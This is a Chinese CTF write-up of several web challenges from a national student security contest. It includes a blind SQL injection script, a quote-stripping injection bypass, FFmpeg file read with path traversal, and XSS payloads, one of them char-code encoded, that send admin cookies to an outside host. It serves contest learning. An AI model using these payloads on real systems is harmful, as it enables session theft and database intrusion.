全国大学生信息安全竞赛web部分wp

比赛好不人性啊,连着24小时,还半夜放题,感觉结束后快猝死了2333。看着其它队伍的表哥嗖嗖的日题也只有喊666的份了,当然对于我这种小白来说重点还是在于赛后的总结学习,嘛,开始吧。

PHP execise

题目给出了php代码的执行环境可以执行任意代码,估计就是<?php eval($_GET['c'])?>来实现的,出题本意应该是考察选手在禁用函数的情况下拿到flag。所以首先上来要看禁用了那些函数。输入phpinfo();后搜索disable_functions查看禁用函数,可以看到shell命令执行,文件包含等函数都被禁用了,然后下面是就是猜测flag到底藏在了哪里。
受以前百度杯的一道题的影响,首先查看了这个php文件的全局变量,测试var_dump($GLOBALS);,没有发现,然后试着var_dump($flag);也没有结果。所以就卡住了。。。果然还是太菜,然而峰回路转,就在我刷新页面的时候,突然给出了目录结构,然后就看到了一个疑似flag的php文件,遂想到flag可能放到其他文件里了,需要目录扫描,刚好前几天做过,于是var_dump(scandir('./'));一发顺利拿到文件名

之后包含文件读取flag就好了require_once('flag_62cfc2dc115277d0c04ed0f74e48e3e9.php');echo $flag;成功拿到flag

相同的思路,通过看学长的wp又学习了其他函数:

1
2
3
4
5
6
7
#glob()是一个对文件目录进行搜索并返回匹配正则表达式的函数,所以也可以做文件扫描
glob('./*');
#highlight(__FILE__)是一个可以以高亮显示文本内容的函数,比赛中有时会直接给出php源码一般就是用这个函数来显示的
highlight_file('./flag_62cfc2dc115277d0c04ed0f74e48e3e9.php');
#show_source(__FILE__)也可以用于展示文件的详细情况

wanna to see your hat?

打开网站看了看,所有的页面都会重定向到route.php这个页面来,然后就是输入用户名显示帽子颜色啥的,输入点简单试了试没有注入思路,然后也看了页面html源码以及http头,也没有发现异常情况,所以考虑是不是代码审计题目,随手扫下目录发现.svn源码泄露,没有用专门的恢复工具,直接在文件中找到了github的地址,访问后分析下的确是比赛题目的环境,下载下来开始代码审计。
可以看到$_POST $_GET都经过了转义,这种情况下要么参数从其他地方获取如$_REQUEST,然后是二次注入。ok,我们去找sql点,一共有两个。
一个在register页面,

1
2
3
4
$sql = "insert into t_user (username,nickname,password) values('".$_POST['username']."', '".$_POST['nickname']."','".md5($_POST['password'])."')";
if (mysql_query($sql)){
header("Location: ./route.php?act=login");
exit();

就是从过滤后的$_POST中提取参数,所以至少这个点应该是没法用的,最多可能会有二次注入。

另一个在login界面,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
defined('black_hat') or header('Location: route.php?act=login');
session_start();
include_once "common.php";
$connect=mysql_connect("127.0.0.1","root","haozigege") or die("there is no ctf!");
mysql_select_db("hats") or die("there is no hats!");
if (isset($_POST["name"])){
$name = str_replace("'", "", trim(waf($_POST["name"])));
if (strlen($name) > 11){
echo("<script>alert('name too long')</script>");
}else{
$sql = "select count(*) from t_info where username = '$name' or nickname = '$name'";
echo $sql;
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if ($row[0]){
$_SESSION['hat'] = 'black';
echo 'good job';
}else{
$_SESSION['hat'] = 'green';
}
header("Location: index.php");
}
}
function waf($value){
$Filt = "\bUNION.+SELECT\b|SELECT.+?FROM";
if (preg_match("/".$Filt."/is",$value)==1){
die("found a hacker");
}
$value = str_replace(" ","",$value);
return $value;
}
function d_addslashes($array){
foreach($array as $key=>$value){
if(!is_array($value)){
!get_magic_quotes_gpc() && $value=addslashes($value);
waf($value);
$array[$key]=$value;
}
}
return $array;
}
?>

和第一个sql点的数据没有关系,所以不是二次注入,本来如果就只是转义处理的话这个点就是安全的,但是它作死的在参数处理流程中加了一些东西。。。

  • 把经过转义后的参数中的单引号都去掉
  • 对union select | select from 做了过滤
  • 转义函数中没有对两层数组过滤,并且过滤函数中加了waf($value)

最后一个没有发现利用方式
第二个过滤其实没有必要,因为参数长度限制在了11,所以也不会用这两种写法,而且想绕过也很简单,我们可以看到在waf函数中检测完后将’ ‘去掉了,所以sel ect from un ion select就可以绕过,并且过滤结束后又变回正常语句
第一个过滤是本题关键所在,因为在转义过滤中会在’前面加上\,之后再把’去掉后就只剩下\了,我们来观察下sql语句:
select count(*) from t_info where username = '$name' or nickname = '$name'
name参数如果最后一个字符是’的话,过滤后最后一个字符就变成了\,所以就把后一个单引号转义掉了,这样第一个单引号和第三个单引号成对,我们就实现了单引号闭合,在外面写东西了,通过or 1’就可以满足登陆需求了,但还有个问题是,在语句最后会有一个\’影响执行,就考虑怎么去掉他,我们来看前后两个name的环境,一个是在’’里面,另一个是作为功能性语句出现,所以我们写成or 1#’并不会导致在第一个name处出现问题,于是就能拿到flag了。

方舟计划

扫描后没有发现源码泄露,然后在注册点的phone参数上发现了注入点,输入’会有报错产生,结合环境是insert语句来看应该是报错注入,正好前几天看到了Ben师傅的一个报错注入的利用,测试后诸如' or if(substring(( {payload} ),{},1)=binary('{}'),0,1) and ST_LatFromGeoHash(version()) or '语句可以利用,但关键是我卡死在了waf上!!!哎,还是太菜,/*!*/的绕过方式明明以前用过好多次,但比赛的时候就是没有想到,在简单尝试了几种绕过方式后,思路竟然转向了如何不利用from来拿数据上,结果就进了死胡同,正好这几天打算把sql盲注总结下,把思路都总结下来,省得注入的时候漏掉什么。
哎,接下来就是看的其他师傅的思路了,这里盲注可以利用,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
s = requests.session()
url = "http://120.132.54.253/index.php?a=doregister"
data = {"username":"1","phone":"","password":"1","repassword":"1"}
payload = "" #此处填写payload
answer = ""
for j in range(1,10):
for i in range(32,127):
temp = chr(i)
data['phone'] = "' or if(substring(({}),{},1)=binary('{}'),0,1) and ST_LatFromGeoHash(version()) or '".format(payload,'-'+str(j),temp)
retu = s.post(url=url, data=data).content
if retu == 'success':
answer += temp
break
print answer[::-1]

从config表中拿到用户名和密码,之后登陆进去,是一个上传.avi文件然后转成.md4的地方,然后表哥们都很快想到是ffmpeg任意文件读取漏洞,然而我并没有听说过,下面贴出来地址,同样不清楚ffmpeg任意文件读取漏洞的小伙伴们也来了解下吧
http://blog.cyberpeace.cn/FFmpeg/

除此之外,目录读取过程中个,还存在过滤,应该就是匹配过滤,绕过也很简单,通过跨目录来绕过`file:///etc/init.d/../passwd 3.avi

个人而言还要记录下任意文件读取漏洞下获取flag的思路,表哥们首先读取了/etc/passwd文件拿到所有用户名列表后去对应的host目录下去拿flag,在这点上我的思路还是不够开阔。

Guest Book

一道xss题目,测试一番后情况如下:

防御措施:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
CSP:
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval';
font-src 'self' fonts.gstatic.com;
style-src 'self' 'unsafe-inline';
img-src 'self'
sandbox:
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>
后台数据过滤:
一些标签如<link>,一些DOM属性如location等被替换为了hacker

参数注入点:

  • 一个在主页中提交,将由管理员触发,触发页面是个html文件,
    http://106.75.119.64:8888/uploads/2017-07-10-05-08-29-8cY7kyvOpoND.html像这样会每次变化
  • 还有一个重命名的xss点,回显处在主页上

题目拿取flag思路

这道题目的flag存放在cookie中,尝试了读取触发页面,以及触发页面的cookie都没有有效数据,然后也没有明确的提示信息说只有admin可以进行访问,之后就可以考虑flag存放在子目录的cookie的情况了,我们尝试读取触发页面的document.referer可以看到触发点是http://106.75.119.64:8888/admin/review.php,然后再xss接收中可以看到访问请求的来源是http://106.75.119.64:8888/uploads/2017-07-10-05-08-29-8cY7kyvOpoND.html,所以bot的机制应该是首先访问review.php,然后被重定向到写有我们js代码的html文件,两个文件并不在同一个目录,所以我们要做的就是去访问/admin目录下的文件,然后读取cookie

综合自己发现的以及表哥们的绕过思路做个统计:

对后台数据过滤的绕过

  1. 可以使用window[‘loca’+’tion’].href这种写法来绕过检测
  2. 可以使用eval来绕过使用检测 eval(‘loca’+’tion’).href
  3. 对于标签可以改为js动态建立来进行绕过
  4. 因为csp允许了unsafe-eval

对沙盒的绕过

  1. 可以建立一个iframe就可以避免沙盒的函数禁用了
  2. index.php是不存在沙盒的,而且存在xss的重命名触发点,所以将admin进行重命名,之后定位到index.php执行基于名字的js代码就可以

收集并分析做题的思路

From Ben师傅

1
2
3
4
5
6
<iframe src="javascript:
i=document.createElement('iframe');
i.src='/admin/review.php?b=2e232 e23';
i['onlo'+'ad']=function(){
parent.window['locat'+'ion'].href='http://xss/'+escape(this.contentWindow.document.cookie)}; document.body.append(i)">
</iframe>

分析:

使用src标签的javascript伪协议来书写js代码,
使用js代码动态构建一个iframe来获得内容,这样就可以不绕过对xhr的禁用
之后对父窗口进行重定向到xss平台来实现数据传送

From Lorexxar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<form id="re" action="../rename.php" method="POST">
<input name="nname" type="text" value="<script>eval(String.fromCharCode(118, 97, 114, 32, 105, 102, 114, 97, 109, 101, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 105, 102, 114, 97, 109, 101, 34, 41, 59, 10, 105, 102, 114, 97, 109, 101, 46, 115, 114, 99, 32, 61, 32, 34, 46, 47, 97, 100, 109, 105, 110, 47, 34, 59, 10, 105, 102, 114, 97, 109, 101, 46, 105, 100, 32, 61, 32, 34, 102, 114, 97, 109, 101, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 105, 102, 114, 97, 109, 101, 41, 59, 10, 10, 105, 102, 114, 97, 109, 101, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 32, 40, 41, 123, 10, 32, 32, 9, 118, 97, 114, 32, 99, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 102, 114, 97, 109, 101, 39, 41, 46, 99, 111, 110, 116, 101, 110, 116, 87, 105, 110, 100, 111, 119, 46, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 10, 10, 9, 118, 97, 114, 32, 110, 48, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 108, 105, 110, 107, 34, 41, 59, 10, 9, 110, 48, 116, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 34, 114, 101, 108, 34, 44, 32, 34, 112, 114, 101, 102, 101, 116, 99, 104, 34, 41, 59, 10, 9, 110, 48, 116, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 34, 104, 114, 101, 102, 34, 44, 32, 34, 47, 47, 48, 120, 98, 46, 112, 119, 47, 63, 34, 32, 43, 32, 99, 41, 59, 10, 9, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 110, 48, 116, 41, 59, 10, 125))</script>"/>
<input type="submit" value="提交">
</form>
<script>document.getElementById('re').submit()</script>
那一长串数值转换后为:
var iframe = document.createElement("iframe");
iframe.src = "./admin/";
iframe.id = "frame";
document.body.appendChild(iframe);
iframe.onload = function (){
var c = document.getElementById('frame').contentWindow.document.cookie;
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//0xb.pw/?" + c);
document.head.appendChild(n0t);
}

分析:
首先使用表单提交的方式来进行发出POST请求进行重命名操作,绕过对xhr的禁用
命名之后会自动跳转回index.php,触发rename处的xss点
建立iframe标签拿到对应页面的详细数据
在iframe的onload上编写事件,通过建立link标签来将数据传递到xss面板
之所以要利用rename这里的xss点就是因为这里没有sandbox,没禁用eval就可以使用eval(‘loca’+’tion’)这种写法了

flag vending machine

一道二次注入的题目,在用户注册那里使用的转义型过滤,然后扣除钱的时候根据用户的username来扣钱,所以在扣钱的这里就形成了二次注入,然后就可以通过是否买东西后会扣除相应的钱来做布尔型盲注。
比赛的时候一直在考虑条件竞争,尽管前几天刚刚学了二次注入,还是没有想到,所以最后也没有做出来,payload就不贴了,有兴趣的可以去看看Lo师傅的payload,因为听说还有一些简单的过滤啥的。